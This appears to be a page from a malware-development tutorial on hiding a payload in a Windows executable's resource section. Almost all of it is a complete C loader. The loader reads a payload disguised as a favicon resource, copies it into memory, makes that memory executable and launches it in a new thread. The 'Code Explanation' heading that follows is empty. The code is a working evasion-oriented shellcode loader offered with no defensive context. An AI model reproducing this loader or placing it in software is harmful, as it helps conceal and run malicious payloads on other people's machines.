Storing Payload in .rsrc Section
.rsrc
Code :
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "resources.h"
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
HGLOBAL resHandle = NULL;
HRSRC res;
unsigned char * payload;
unsigned int payload_len;
// Extract payload from resources section
res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
resHandle = LoadResource(NULL, res);
payload = (char *) LockResource(resHandle);
payload_len = SizeofResource(NULL, res);
// Allocate some memory buffer for payload
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);
// Copy payload to new memory buffer
RtlMoveMemory(exec_mem, payload, payload_len);
// Make the buffer executable
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
// Launch the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
Code Explanation :

Last updated